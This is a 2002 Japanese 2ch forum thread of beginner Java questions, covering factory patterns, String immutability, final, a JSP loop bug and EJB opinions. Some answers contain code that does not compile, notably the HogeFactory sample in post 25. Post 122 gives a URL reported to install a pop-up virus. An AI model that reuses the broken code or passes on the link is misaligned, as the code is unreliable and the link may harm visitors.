初心者歓迎! Java相談室 その5

このエントリーをはてなブックマークに追加
11
                        
 || ̄ ̄|   ∧_∧
 ||Java|  (     )   ∧∧    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 ||__|  ( ○  )  (   ) < 俺達の旅はここから始まる。
   ||    │ |  │   /  |    \___________
((二二)) .(_(__)〜(___ノ

( ゚Д゚) < カキコする前に>>2-10をチェックしとけゴルァ!!
>>2 過去スレの一覧
>>3 Javaの基礎と よくある質問 (初心者はここをチェック!)
>>4 Java関連スレいろいろ
>>5 Javaを撲滅させたい方、死滅を心配してる方、Cとの違いを知りたい方はこちらへ
* 諸般の事情により、リンクがずれる事もあります。
21:02/02/06 13:16
■■■ 過去スレの一覧 ■■■

JAVA厨房
http://piza.2ch.net/tech/kako/966/966391052.html

Java相談室
http://piza.2ch.net/tech/kako/971/971960169.html

Java相談室 Part2
http://piza.2ch.net/tech/kako/980/980858322.html

Java相談室 Part3
http://piza2.2ch.net/tech/kako/994/994150280.html

Java相談室 Part4
http://pc.2ch.net/tech/kako/997/997791189.html

Java相談室part5
http://pc.2ch.net/test/read.cgi/tech/1003567552/

ネタ心者歓迎!今更ながらにJavaを学ぼう!
http://piza.2ch.net/tech/kako/981/981424252.html

ネタ心者歓迎!今更ながらにJavaを学ぼう! その弐
http://pc.2ch.net/test/read.cgi/tech/993358225/

ネタ心者歓迎! 今更ながらにJava相談室
http://pc.2ch.net/test/read.cgi/tech/1003569074/

ネタ心者歓迎! 今更ながらにJava相談室 その2
http://pc.2ch.net/tech/kako/1006/10064/1006408230.html

ネタ心者歓迎!今更ながらにJava相談室 その3
http://pc.2ch.net/tech/kako/1007/10078/1007802486.html

ネタ心者歓迎!今更ながらにJava相談室 その4
http://pc.2ch.net/test/read.cgi/tech/1010545421/
31:02/02/06 13:17
■■■ Javaの基礎と よくある質問 ■■■

Q: クラスの使い方が分かりません。
A: Java 2 プラットフォーム API 仕様
http://java.sun.com/j2se/1.3/ja/docs/ja/api/index.html

Q: SDKの仕様や、Javaの使い方、コマンドの使い方を教えて下さい。
A: Java(TM) 2 SDK ドキュメント
http://java.sun.com/j2se/1.3/ja/docs/ja/index.html

Q: Javaの言語仕様が知りたいです。
A: Java言語規定
http://www.y-adagio.com/public/standards/tr_javalang/index.htm
http://java.sun.com/docs/books/jls/second_edition/html/j.title.doc.html

Q: 「僕以外の人も、同じ疑問を持ったはず」と思えるような質問があります。
A: Java House ML Topics / Java FAQ / Java Tips
http://java-house.etl.go.jp/ml/topics/
http://www.gimlay.org/~javafaq/
http://www.javaworld.com/columns/jw-tips-index.shtml

Q: 僕、サルなんですけど・・・。
A: サルにはわかるヒアリングJava入門(マルチランゲージ対応)
http://www.asahi-net.or.jp/~rc4t-ishr/Saru/index.html
41:02/02/06 13:17
■■■ Java関連スレいろいろ ■■■

JAVAサーブレットQ&A
http://pc.2ch.net/test/read.cgi/tech/972229341/

JavaサーブレットQ&A LV2
http://pc.2ch.net/test/read.cgi/tech/1012728608/

サーバーサイドJAVAをまたーり語るスレ
http://pc.2ch.net/test/read.cgi/tech/1004972840/

iアプリ
http://pc.2ch.net/test/read.cgi/tech/1000723476/

i‐MODEのJAVA
http://piza2.2ch.net/tech/kako/975/975428633.html

iアプリでゲーム
http://game.2ch.net/test/read.cgi/gamedev/1005042631/

[Java]JBuilder5[Java]
http://pc.2ch.net/test/read.cgi/tech/995044723/

Pure Java Mail Server
http://pc.2ch.net/test/read.cgi/tech/1009991622/

クライアントサイドJavaどうよ?
http://pc.2ch.net/test/read.cgi/tech/1002160815/

【祝】 JDK 1.4 βリリース
http://pc.2ch.net/test/read.cgi/tech/990949654/

IBM VisualAge for JAVA
http://pc.2ch.net/test/read.cgi/tech/989931658/

Pure Java Mail Server
http://pc.2ch.net/test/read.cgi/tech/1009991622/
51:02/02/06 13:17
■■■ 撲滅させたいかた、死滅を心配してるかた ■■■

CとJavaを比較した場合Cの良いとこと悪いとこ
http://pc.2ch.net/test/read.cgi/tech/1009707596/

Java撲滅委員会
http://pc.2ch.net/test/read.cgi/tech/996848309/

●●JAVAって死滅しちゃうの????●●
http://pc.2ch.net/tech/kako/1005/10051/1005159122.html

●●JAVAって死滅しちゃうの???? PART2●●
http://pc.2ch.net/tech/kako/1006/10060/1006053686.html

●●JAVAって死滅しちゃうの???? PART3●●
http://pc.2ch.net/tech/kako/1008/10081/1008162230.html
6デフォルトの名無しさん:02/02/06 13:34
新スレ GET ずざ
おぉ、いつのまにか新スレが
お疲れさん >>1
8デフォルトの名無しさん:02/02/06 14:17
あの、JAVAで縦書きのエディタってつくれませんか。
茨の道ではあろうが決して不可能ではない。>>8
10デフォルトの名無しさん:02/02/06 15:26
ネタ心者歓迎 じゃないからここは 偽スレ ですか?
11デフォルトの名無しさん:02/02/06 15:35
パッケージ管理の基本的な質問。

AとB という2つの対象VMがあって、それぞれ環境依存なAPIがあります。

そこで、環境依存な部分と環境に依存しない部分にわけて開発しています。
で、環境に依存しない部分を package kaihatsu.main、依存する部分を
package kaihatsu.A、package kaihatsu.B としてわけています。
kaihatsu.A、kaihatsu.BはAPIの表面はどちらも同一にしています。

ところがこの分け方だと結局環境依存な部分のパッケージを呼び出す部分が
そもそも環境に依存する形になるので、それぞれへリリースするとき
import文を書き換えてからコンパイルすることになり、なんだかスマートじゃありません。

根本的な考え方が間違っていると思うんですけど、どうもいい考えが
浮かびません。だれかヒントください。
>>11
ファクトリを使え。
デザインパターンな。
13デフォルトの名無しさん:02/02/06 15:48
>>12
ファクトリクラス以下をコンパイルするときに差し替えるってことですか?

VMが違う上JDKも同じものを使えないので実質共通化できるのは
環境非依存な分のソースだけなんで・・・
>>13

Factoryパタソ使うんなら、実行しているVMがAなのかBなのかをシステムからGetして、その情報をFactoryに渡せば対応するパッケージのオブジェクトを返す、ってやればいいんじゃないでしょうか?
マジレススマソ
>>13
システムプロパティとかpropertiesファイルとかに環境依存のクラス名を指定するようにする。
ファクトリではそれを読んでリフレクションを使ってインスタンスを生成。
java.lang.refrection
あたりを見てみな。
1611=13:02/02/06 16:06
>>14
それをするためには、全パッケージをあらかじめ用意する必要が
ありますよね?
ファクトリの中に使われない場合の選択肢があるから。

>>15
プロパティが使えればいいんだけど、環境Bでは
使えない(制限されている)のでちょっと無理です。スマソ
>>16
ファイルも
java -Dhoge.hoge=foo
ってのも使えないの?
1811=13:02/02/06 16:07
>>14
16追記。
環境依存部分はそれぞれの環境用のJDKでは
コンパイルすらできないので実行ファイルをつくるとき
排他しないとだめなんです。
1911=13:02/02/06 16:09
>>17
使えません。環境Bで実行時に許されるのは
java -jar hoge.jar
だけと考えて差し支えないです。
>>19
データベースもだめ?
そしたら>>14しかないんでないの。
2111=13:02/02/06 16:12
それぞれの実行環境への実行ファイルを別個につくれればいいです。
かならずしも実行ファイルを共通化しようとしてるわけではないです。
>>13
共通の親クラスとなる抽象クラスを共通部分でつくって
環境毎に各サブクラスを実装する。

その抽象クラスにstatic な getInstance()とかの関数作って
その関数のなかで適宜環境に合わせたインスタンスを生成して返す。

各サブクラスではコンストラクタをpublicにしないで自由にnewさせない。

getInstanceするときリフレクション使えばさらに汎用性増。

参考↓とか
http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/text/Collator.html
>>21
んじゃ、プリプロセッサを使えば?
24デフォルトの名無しさん:02/02/06 16:17
>>19

デフォルトのpropertyから環境を特定する事は出来ないの?
それが出来たら、”環境A”なら kaihatsu.A.Hogeのインスタンスを作成、BならB。Hogeを作成って感じで作る。
(完全修飾名で書けば import 〜 って指定は要らないのでコンパイルエラーにはならない)
25烏龍茶 :02/02/06 16:19
>>14
ちょっと長いけど俺ならこんな感じになるだろうな。
HogeFactory の HOGE_CLASS はハードコードじゃなくてプロパティリソース
から読み出すとか修正する必要があるけど。VM 依存ってのが何を意味する
のか分からなかったので Win 系と Linux 系と置き換えてみたけど、意味
分かるよね。

----------[インターフェース]----------
package kaihatsu;
public interface Hoge{
  public abstract void foo();
  public abstract void bar();
}
----------[実装クラス1]----------
package kaihatsu.A;
import kaihatsu.*;
public class WinHoge implements Hoge{
  public void foo(){/* Win 固有の処理 */}
  public void bar(){/* Win 固有の処理 */}
}
----------[実装クラス2]----------
package kaihatsu.B;
import kaihatsu.*;
public class LinuxHoge implements Hoge{
  public void foo(){/* Linux 固有の処理 */}
  public void bar(){/* Linux 固有の処理 */}
}
----------[ファクトリ]----------
package kaihatsu;
public class HogeFactory{
  private static final String[][] HOGE_CLASS = {
    {"windows", "kaihatus.A.WinHoge"},
    {"linux", "kaihatus.B.LinuxHoge"},
  };
  public Hoge getInstance(){
    String os = System.getProperty("os.name");
    for(int i=0; i<HOGE_CLASS.length; i++){
      if(os.indexOf(HOGE_CLASS[0]) >= 0){
      try{
        return (Hoge)Class.forName(HOGE_CLASS[1]).newInstance();
      } catch(Exception ex){/* */}
    }
    return null;
  }
}
----------[クライアントコード]----------
import kaihatsu.*;

HogeFactory factory = new HogeFactory();
Hoge hoge = factory.getInstance();
hoge.foo():
hoge.bar();
2611=13:02/02/06 16:20
>>22
ファクトリの実装の仕方が問題だと考えてます。

import kaihatsu.B;
public class HogeFactory{
 public Hoge create(){
  return new Hoge();
}

ここで、Hogeは kaihatsu.A、kaihatsu.B ともに実装していて
それを使う人は意識せずにつかうことが可能なのですが
このHogeFactoryをコンパイル時に差し替えるのに
いい方法がないかと考えてるところです。
2711=13:02/02/06 16:22
>>26
import kaihatsu.B.*;
の間違いでした。

>>25
今から読んで理解します。
28烏龍茶:02/02/06 16:22
ん? なんか前提変わってる?
アプリケーション内でそれぞれの環境を識別出来ないの?
ちなみに >>25>>14>>13 宛ての間違い。
29デフォルトの名無しさん:02/02/06 16:24
StringとStringBufferの違いは分かるんですが、
これなら融通がききそうなStringBufferの方が
便利に見えてしまいます。
それでもStringと使い分けるメリットって何でしょう?
どうぞよろしくお願いします。
3011=13:02/02/06 16:25
ソース内でシステムプロパティを読むのは考えてません。
コンパイル時にうまく差し替えられればいいので・・・

>>25氏、長文書かせてすみません。
3114=24:02/02/06 16:26
>>26

つかそのFactoryの置き場所がオカシイ(依存パッケージ内に入ってちゃ抽象化にならんやん...
>>30
その理由を明確にしなければココの連中はまともな
解答を出さないと思われ。
3311=13:02/02/06 16:36
>>31
>>25でのファクトリ内でのシステム識別を
コンパイルで実行ファイルをつくるときにやれればいいわけですが・・・

あと、ここで散々実行ファイルといってるのは hoge.jar という
jarファイルと考えてください。
3411=13:02/02/06 16:37
>>32
システムプロパティを読むまでもなく
コンパイル時(実行ファイル作製時)に
ターゲットとなるVMはわかってるから
そのときに処理したい(中で判断させたくない)
からです。
3524=26:02/02/06 16:38
>>30

じゃあ妥協案として、main、A、Bそれぞれのパッケージを分けて、
コンパイルで環境依存で引っかかる部分を、Antで定義ファイル2つ作ってそれぞれ必要なパッケージのみコンパイルすればイイかも。
3635=36:02/02/06 16:39
>>35
> main、A、Bそれぞれのパッケージを分けて、
この部分不要でした 鬱
3736=37:02/02/06 16:41
>>36
AとB用にファクトリークラス作らないといけないけど。
連続カキコスマソ
今仕事暇なんだ(ワラ
3811=13:02/02/06 16:43
あ、なんとなく見えてきたかも。
今まで main に A,B をそれぞれインクルードするようなイメージでしたが
逆に A,B にmainをインクルードするイメージで
それぞれの実行ファイルを作ればいいのかな?

皆様方、つまらない話につきあわせてスンマソン
参考になりました。
>>34
いや、だからマジでプリプロセッサを使えって。
4011=13:02/02/06 16:47
>>39
プリプロセッサってjavacで使えましたっけ?
41山 ◆q/UzXBMk :02/02/06 16:48
JAVAだけを使用してwebブラウザー(アプリ)を作成するにあたって、
なにかいい書籍やHPがあったら教えて下さい。
>>40
Cのヤツでいいじゃん。
4311=13:02/02/06 16:57
>>42
gcc -DVM_FLG=B -E HogeFactory_.java > HogeFactory.java
みたいな感じでやるってことですか?

IDEを使ってコード書き→コマンドラインで実行ファイル作製
という方法で開発してるのでちょっと実験してみます。
ant の定義ファイルでオプションで切り分ければいいじゃん。
べつにmakeでもいいけどさ。
4511=13:02/02/06 17:00
antはこれから勉強します。
>>43
cppな。
antつかってんなら>>44でもいいぞ。
4737:02/02/06 17:04
>>44
スマソ Antの有難い機能をすっかり忘れてた。
鬱だ...
>>41
HTMLの解析はSwingに取り込まれていたはず。
それを利用できそうかどうかは知らんが。
でも、JAVAでブラウザ作るメリットって…
49デフォルトの名無しさん:02/02/06 19:57
JScrollPaneにJLabel+ImageIconで画像を貼ってるんですが、
マウスで画像をドラッグすることで、JScrollPane内での
画像の移動(=スクロールバーも追従)をしたいと思ってます。
現在、MouseMotionで実現しようとしてるのですが、
スクロールバーとは無関係に画像が動いてしまう上に、
マウスの位置情報がふらついていて画像がちらついてしまいます。

何かサンプルソースがあるサイトをご存じの方、教えてください。
また、こういう動作に便利なライブラリがあるのでしょうか?
Googleで検索してるんですが、なかなか見つけられなくて。。。
50デフォルトの名無しさん:02/02/06 20:09
教えて下さい。

マ板開いたら、
アラートダイアログ「クソスレは無視して下さい」
が表示されるのですが、なんか荒し注意報とかでてるんでしょうか?
 
51デフォルトの名無しさん:02/02/06 20:13
メール欄にJavaScriptを書いてるんだな。
所謂CrossSiteScriptingとかを実践して遊んでる奴が
WEBPG辺りに居るんだよ
>>29
StringBufferは、インスタンス内部の値が変更される可能性がある。
また、内部では配列を持っていて、しかも動的にサイズ拡張再確保
などを行うので、インスタンスが重い。

Stringはインスタンス内部の値が変更されることが絶対にない。
「絶対にない」ことで、安全なライブラリを作る為に利用できる。
また、Stringインスタンスの内部の値はFlyweightが適用されている
ので、StringBufferに比べてメモリ使用量などのコストが軽い事
が多い。

Immutableオブジェクトの効用について勉強せよ。
>>49
MouseMotion全てを拾って再描画繰り返せば、そりゃちらつくわ。
イベントの発生数が多すぎて再描画が間に合ってないんちゃう?

適当に捨てるか、Windowのドラッグのようにドラッグリリース
するまで再描画しないようにしたほうがいいと思うよ。
ドラッグリリースイベントなら、ドラッグ一回につき一回しか
起きないから、描画ロジックも軽く出来るでしょ?
>>41
javax.swing.text.html.HTMLDocumentをModelに与えた
javax.swing.JTextPaneは、そのまんまHTMLブラウザとして使えないでしょうか?
56前スレの952:02/02/07 00:12
前スレの952だが、誰かわからないか?
アドバイス求む!
>>56
なんだっけ?
ここに書いてくれ。
>56
ttp://developer.java.sun.com/developer/bugParade/bugs/4327364.html
これかな?実行環境側の問題なのかもね。
59烏龍茶:02/02/07 00:32
>>56
Win98 に JRun (JDK1.3) 走らせてたときも、たまに ACCESS VIOLATION
でたなぁ。原因不明。IBM JDK 1.3 に代えてみたら?
60デフォルトの名無しさん:02/02/07 00:33
仕事でJSPを書いているのですが、

<%for(int i = 0; i < 10; i++){%>
hoge<%=i%>
moge<%=i%>
koge<%=i%>
<%}%>

のような形でループを書くと、なぜかループの途中でiの値が
おかしくなって、無限ループになってしまうことがあります。

これってJAVAのバグなんでしょうか?

ご存知の方がいたら教えていただけると嬉しいです。
61烏龍茶:02/02/07 00:37
Java のバグというか、本当なら JSP プロセッサのバグなんだけど、
サーブレットコンテナは何をお使いで?
それと Java のコードに変換されたファイルの中身は確認した?
62デフォルトの名無しさん:02/02/07 00:57
サーブレットコンテナはJServだと思います。
JSPが変換されたサーブレットは確認しましたが、
ループの途中に何も処理を挟んでいないので
iが勝手に変わるわけはないのですが・・・。

なぜか、実行すると、

hoge2
moge2
koge1

hoge2
moge2
koge1

hoge2
moge2
koge1
...

のような感じで無限に文字列が出力されます。
63烏龍茶:02/02/07 00:58
>>58 のバグ報告を見てみた。2000年4月に提出されて再現性が無いので
調査中となっている。-classic オプション付けて HotSpot 切るか、
-Xint 付けてインタープリタモードで動かしてみては。ただ JRE には
Classic VM 付いてないみたいだし、両方とも HotSpot の意味が無く
なるけど。
64デフォルトの名無しさん:02/02/07 00:59
おかしいと思って、

moge<%=i%>などを

moge<%=""+i%>という感じに書き換えると普通に実行されました。
65烏龍茶:02/02/07 01:04
>>62
その JSP の実行クラスを見つけて jad で逆コンパイル。
逆コンパイルした結果が真っ当なコードなら… バグかな…。
後は Tomcat に変更か。とりあえずサーブレットのコードの
ループ部分だけでも貼り付けられませんか。

所で今の JServ って JSP 使えるんですか?
>>62,>>64
見にくいからスペースを入れて
<%= i %>
ぐらいに変えたら?もしかしたら直るかも。
<% for (int i = 0; i < 10; i++) { %>

<%
for (int i = 0; i < 10; i++) {
%>
とかね。JSPパーサーのバグに引っかかり易い書き方なんじゃないかな。
67デフォルトの名無しさん:02/02/07 01:12
コードは今手元に無いですが、上で書いたものと大差ないです。

後ろが連番になっている状態で出力したい文字列が7個あって、
それを6回ループでまわしているだけです・・・。

iを""+iのようにして文字列扱いにすると直るので
コンパイルして実行する側のバグだと思っているのですが・・・。

ところで、JServがJSPを取り扱えるかどうかですが、実はあまり知識が無いので、
現在JServがJSPを実行しているのか、それとも他の何かがJSPをサーブレットに変換して
それをJServが実行してるのかわからないです。申し訳ないです。
68デフォルトの名無しさん:02/02/07 01:14
>>66
実は、本物ではきちんとスペースを入れているのですが、無限ループになってしまいます。

サーブレットに変換された状態で見てもおかしなところは無いので
非常に気になっています。
69ほげほげ:02/02/07 01:22
>>68
そのまま実行させてみましたが正常に動作しました。
Win98 + Tomcat3.2.2です。

余計なコードは無しで、>60だけのコードで実行しても駄目ですか?
聞いたことない症状だなぁ
サーブレットコンテナとバージョン確認するのが先かな

>>66 みたいな簡単なコードでも再現するの?
71ほげほげ:02/02/07 01:25
あと、Tomcatだと%TOMCAT_HOME%work配下に
javaファイルに変換されたjspが有るから、
そのコードを見てみると良いのではないでしょうか?
72ほげほげ:02/02/07 01:28
>>56
>JOptionPaneでのエラー

あ、それは僕も経験が有ります。
たしか1.3.0でVMのエラーが発生し、1.3.1で回避できました。
VMを替えれば発生しなくなると思います。
73烏龍茶:02/02/07 01:30
>>64
なんかそれデジャヴュー…
JSP 使い始めた頃だから WebSphere 2.x か JServ + GNU JSP で
あったような現象。うろ覚えだけど。
74デフォルトの名無しさん:02/02/07 01:43
EJBについて意見を聞きたいZO!

うちの会社に、EJBを使えば(再利用等により)プログラミングの負荷
を軽減できると抜かす奴が説明に来るそうだ。
EJBの目的はそんなんじゃないだろと漏れは思うんだが、意見くれ。
EJBの短所を考えれば安易に導入するものじゃないと思うんだが。。。

スレ違いか?
スレ違いかもしれんが・・・俺意見
EJBはクラスタリングやら分散トランザクションが必要なときには有用だけど
小(〜中)規模なシステムには逆効果。CGI代替とかね。

EJBの記事とか見たら分かると思うけどコード記述量は増えるし、
EJB故の制限事項も多い。(staticフィールド使用禁止とか)
EntityBeanはパフォーマンス悪い。

あと、もし使うんならツール使用は必須。JBuilderとかVisualAgeとかね。
あれをエディタでシコシコ手書きする奴がいるんだよ。
もうバカかとアホかと・・・
76デフォルトの名無しさん:02/02/07 02:28
>>75
バカSヨは、よく分かってないくせに流行しているというだけで(高く売れるとか、
売り込みのネタになるとか言うアホな理由で)導入するわけだが、まさか「流行っ
てるから」などという理由をあからさまに言うのはいくらなんでも間抜けなので、
とりあえず取り繕ってみた、に500ガバス。
77デフォルトの名無しさん:02/02/07 02:56
俺も >>75,76 にさんせー。
ビジネスロジックを1からクラスタリング対応するよか EJB 使った
ほうが開発量を軽減できるだろうけど、そんな必要なければ無用の長物も
いいところ。ちゅうかまだ EJB 全能説を信じてる人間がいたとは驚き。
何事も適材適所、林檎の皮剥きに斧使う莫迦はいない。

多分そいつ、次は XML が来ること必須。中でも SOAP を薦めてくるに
1000ペソ。大穴で PDF に 150ペソ。
7856:02/02/07 03:01
みんなありがとう。
とりあえず、1.3.1にしたら会費できたので、これでいきます。
サンクス
79デフォルトの名無しさん:02/02/07 03:02
で、、、、やっぱForte for Javaはダメダメなんでしょうか?
80デフォルトの名無しさん:02/02/07 03:10
SOAPもXMLもいろいろ便利な使い道はあると思うけど、
(構造化したデータ記述の標準のフォーマットがあるというのは、
本気で便利だと思うよ。マーシャリングコストとの兼ね合いで問題
なければ、だけどね。)
手段と目的を混同してメリットも糞もないような使い方を強制する
低級バカが、なんで仕切りの立場には多いんだろね。
81超初心者:02/02/07 10:09
<H1>教えてください<H1><BR>
<H2>教えてください<H2><BR>
<H3>教えてください<H3><BR>

これをfor文で表示したいのですが、教科書とおりにしてたらうまくいきませんでした
誰か教えてください
82超初心者:02/02/07 10:13
<BODY>

<SCRIPT LANGUAGE="JavaScript">

for(i=1;i<=5;i++);{
document.write<FONT SIZE="+i+">";
document.write("もなちゃん<BR>");
document.write<"/FONT">
}


</SCRIPT>



</BODY>
教科書の文です
>>81-82
カエレ!
Java と JavaScript の違いを知らんヤツ発見。
8529:02/02/07 10:41
>53
ありがとうございます。
早速Immutableオブジェクトについて調べてみました。
なるほど〜こういった考えがあるのですね。
となると、String = 事実上Finalしたのと同じ(定数)
に見えちゃいました。
86山 ◆q/UzXBMk :02/02/07 10:49
>>48
webブラウザーってサーバーにOS名とかの情報を渡しますよね、
それをユーザーが好きな名前に設定したりとか設定すれば串を自動で
通してくれるとかそういう機能のあるのを作ろうかと思って…
通信やるならCよりJAVAが簡単って言われたので…

>>55
初めて聞く名前のクラスです。
そのクラス調べてみます。
87烏龍茶:02/02/07 11:12
>>86
JDK1.3 の SwingSet というデモに Swing で HTML を表示している
ものがある。でも JavaScript とか実装する気?
88山 ◆q/UzXBMk :02/02/07 11:22
>>87
JDK1.3?JBuilderとは違うツールなんですよね?探してみます。

>でも JavaScript とか実装する気?
JavaScriptもそうだしフラッシュとかも…何かあるんですか?
>>88
おまえは本気で言ってるのか?
90デフォルトの名無しさん:02/02/07 11:31
>>85
>となると、String = 事実上Finalしたのと同じ(定数)
>に見えちゃいました。
これはfinalの意味の取り違えだね。
String s = "sss";

final String s = "sss";
の違いを理解しよう。
>>79
ゴスリングはNetBeansを使ってるらしいし、パワフルなマシンならいいんじゃないか?
>>79
俺はForte使ってるけど。エディタとして。
補完使えるから楽じゃん。逆に他の事には使ってないけど。
>88
ナイスボケ
94山 ◆q/UzXBMk :02/02/07 11:53
>>93
ナイスと言われても…
IEとかっていろんな機能をアドオンしたアプリに割り振りますよね(表現あってる?)、
JavaScript もそうじゃないんですか?(オオボケ?
JBuilderの中にjdkがはいっとろうが
>>94
カエレ!
JScriptは板がちゃう
98山 ◆q/UzXBMk :02/02/07 12:21
フラッシュでみたくアドオンで動かせず、javaで作ったブラウザー上で
自分でJavaScriptのソースを解析して処理しなければならないって事ですか?
99デフォルトの名無しさん:02/02/07 12:36
ちょっと質問なんですが・・
Java2のクラスライブラリのソースはどこで公開されているんでしょ?
sunのサイト行ってみたけどわからなかった・・
>>99
$JAVA_HOME/src.jar
10185:02/02/07 13:04
>90
クラスについたFinal=これ以上継承不可
メソッドについたFinal=これ以上オーバーライド不可
フィールド(メンバ変数のことですよね?)についたFinal
=書き換えができない
と理解していました。
根本的に間違えているのでしょうか?
よろしければご教授下さい。お願いします。

私の教科書は
http://www.wakhok.ac.jp/~tatsuo/kougi99/grammar/index.html
http://stslabo.sts.co.jp/Java/Tutorial/Primer/index.html
と「コアサーブレット&JSP」です。選択に問題がありますでしょうか?(不安
>>101
あってる。
教科書は未読なのでノーコメント
>>101
自分で試してみたら?
参照の書き換え不可(final)とオブジェクトの属性の変更不可(Immutable)の違い。俗な言い方だが。

ここなんか参考になるかと
ttp://www.asahi-net.or.jp/~dp8t-asm/java/tips/Immutable.html
104ほげほげ:02/02/07 13:20
>>101
>フィールド(メンバ変数のことですよね?)についたFinal=書き換えができない

その通りです。ただ、>101さんはこれを勘違いしてるようです。

final StringBuffer s = new StringBuffer();

の場合、s = anotherBuf;はコンパイルエラーになります。
何故ならsの値を書き換えているからです。

ただし、s.append("ほげ?");は問題ありません。
何故ならsの値に変化が無いからです。

sの値はオブジェクトへの参照であって、オブジェクト自身ではないです。
10590:02/02/07 13:26
>>85=101
>フィールド(メンバ変数のことですよね?)についたFinal
>=書き換えができない
それでいいんだけど、書き換えができないのは、変数であって、オブジェクト
ではない。
例えば、
 final int[] a = new int[1];
として、
 a = new int[1];//別のオブジェクトの参照値を代入する
とはできない。変更できないとは、こういう意味。でも、
 a[0] = 1;
 a[0] = 2;
としても問題ない。aが指しているオブジェクトの状態は変わってもいい。
つまり、finalがついた変数の値(参照値)は変更できない、ということ。
Stringがimmutableだというのは、これとは意味が違う。
一度生成されたStringオブジェクトの内容を変えることはできない、
という意味。それは内容を変える手段が用意されていないから。
なお、プリミティブの変数は参照値ではなくて、直接その値を入れている
から、プリミティブ変数にfinalがついていると、変更できないのは当然
だけどね。

10685:02/02/07 18:21
皆さん、超分かりやすいご説明をありがとうございます。
その意味が分かるまで半日かかってしまいました。
ようやく理解できました〜(きっと)
>102 (^^;
>103 紹介して頂いたサイト、すごいですね。早速勉強しています。
   最初の部分を理解するのに、すごく時間がかかってしまいました。
>ほげほげさん
   Javaはポインタしかない!と読んだことがありますが、理解しました!
>105 final int[] a = new int[1];は、プリミティブじゃなくてクラスの
   方ですね。なるほど!プリミティブなら本当に定数だけど、クラスで
   finalすると、新しいポインタを設定はできないが、中の値は書き換え可
   でよいでしょうか?(間違えていたらどうしよう

VBだと、strSQL = "Select * from hogeTable;"みたいに書いて、
strSQLを何度も書き換えて使いまわしますが、Javaではやらないんでしょうか?
StringBufferクラスなら、Deleteして再度Append(Insert?)して使いまわす
ような感じのことです。
どうぞよろしくお願いします。
107デフォルトの名無しさん:02/02/07 18:25
質問です。前スレで、ディレクトリ構造の木を可視化したいと
言ってたものですが、
ディレクトリ内のファイル/ディレクトリを探索して、ファイル
、ディレクトリがあるかぎり、枝を伸ばして物体表示を繰り返し
てやろうと思うのですが、ルートディレクトリの絶対パスを得て、
\Jbuilder35\bin\卒研
と表示されます。ここまではいいのですが、卒研ディレクトリの
下のディレクトリ2の絶対パスを得ようとすると、
\Jbuilder35\bin\ディレクトリ2
となってしまいます。な、なぜなんでしょうか?
\Jbuilder35\bin\卒研\ディレクトリ2
になる予定なのに・・・心の中では。
>>107 のバグ
卒研でディレクトリリストか、日本も平和になったな。
110烏龍茶:02/02/07 18:54
import java.io.*;
public class a{
  public static void main(String[] args){
    File[] root = File.listRoots();
    for(int i=0; i<root.length; i++){
      show(root[i]);
    }
    return;
  }
  public static void show(File parent){
    File[] files = parent.listFiles();
    for(int i=0; i<files.length; i++){
      if(files[i].isDirectory()){
        show(files[i]);
      } else {
        System.out.println(files[i].getAbsolutePath());
      }
    }
    return;
  }
}
111デフォルトの名無しさん:02/02/07 19:02
>烏龍茶さん
ありがとうございます。ためしてみます。
11249:02/02/07 19:43
>>54
ありがとうございました。
なんとか作ることが出来ましたー
なんだかいま、javaの本家のサイトが落ちてない?
114デフォルトの名無しさん:02/02/07 23:55
>>106
StringBufferを使いまわしても別にいいけど、メモリやCPUリソースの節約
にはならないと思うよ。
どうせ文字列を使う時にはtoString()してるんでしょ?ということは、その
たびにStringクラスのインスタンスを作ってるわけで。
テンポラリオブジェクトとか、そういうののイメージは、C++知ってると
分かるんだよねー。

システム構築で使うSQL文なんてのは、どうせ数十〜数百オーダの数しか
パターンないんだから、プロセス初期化のタイミングで全部Stringで作って
おいて、どこかにプールしておく方が賢い。

ところで、VBよくしらんのだが、VBだと

hoge ="aaa"
hoge ="bbb"

は、hogeという文字列格納をする入れ物があって、そこの中身を書き換えてんの?
VBって超アホ実装なのね。マトモな処理系、実行環境なら内部ではポインタ使って
るはずだが。
115デフォルトの名無しさん:02/02/08 00:22
>>106
114の言うとおりだ。VBで、

strSQL = ""
strSQL = strSQL & "SELECT * "
strSQL = strSQL & " FROM HogeTable "

みたいなコーディングをよくやるが、VBでの文字列の連結というのはものすごく重い処理だ。
一回連結するだびに、新たに文字列のインスタンスを作って、もとの文字列の内容をコピーする
のだから。
せめて、

Function GetSqlStatement(inNumber)
  Dim strSQL(100)

  (中略、SQL文をせっせと代入)

  GetSqlStatement = strSQL(inNumber)
End Function

くらいのことはやるように。で、これをコンパイルしてActiveX DLLにでもしとけ。
最低限な。
116115:02/02/08 00:23
Function GetSqlStatement(inNumber) As String だ。ゴメソ。
117デフォルトの名無しさん:02/02/08 00:31
内部クラスでstaticなフィールドはなんで定義できないの?
はつみみです。
119ほげほげ:02/02/08 00:53
>>177
内部クラスは外部クラスのインスタンスに依存して生成されるため、
staticは有り得ないんですよ。

ただし内部クラスがstatic classとして定義してあるならば、
staticなメンバを持つ事ができます。
>>114
念のため、StringBuffer#toString() は新しい String の
インスタンスを生成するけど、それが内部に持つ文字列配列は
StringBuffer の状態が変わるまで共有してるからね。
だから巨大な StringBuffer を toString() したからといって
巨大な文字列がもう一つ出来上がるわけじゃない。
121117:02/02/08 01:25
>>119
ありがとう。

あと、staticな内部クラスって使ったこと無いんだけど、
どういうときに使う物なんでしょか?

122デフォルトの名無しさん:02/02/08 01:29
http://myhome.hananet.net/~crazyghost/goto.htm
をあやまってひらいてしまったところ、数十分おきくらいにきゃーってゆうのがでるようになってしまいました。
なんとかなりませんか?スレちがいでしたらごめんなさい
123ほげほげ:02/02/08 01:30
>>121
僕もさっぱり分からないです(^^;
124ほげほげ:02/02/08 01:37
>122
そのページを開いた事ないから知らないですが、
単純なものならば、
スタート→プログラム→アクセサリ→システムツール→システム情報を起動して
ツール→システム設定ユーティリティ→スタートアップを開き、
それらしいプログラムのチェックを外してみては?
そして問題のファイルを消す。

でもウィルスでしょうから、HDをフォーマットしなおすのが安全でしょう。
125122:02/02/08 01:40
ありがとうございます!
これからは気をつけます。
126烏龍茶:02/02/08 02:04
>>121
outer クラスの static メソッド内で使うクラスとか、outer クラスの
変数やメソッドを特に見ていない inner クラスで使ってる。

static 付けないと、inner が生きている間 outer が GC の対象になら
ないから (outer の参照を持ってるため)、特に必要がなければ static
付けといたほうが良いと思われ。

>>122
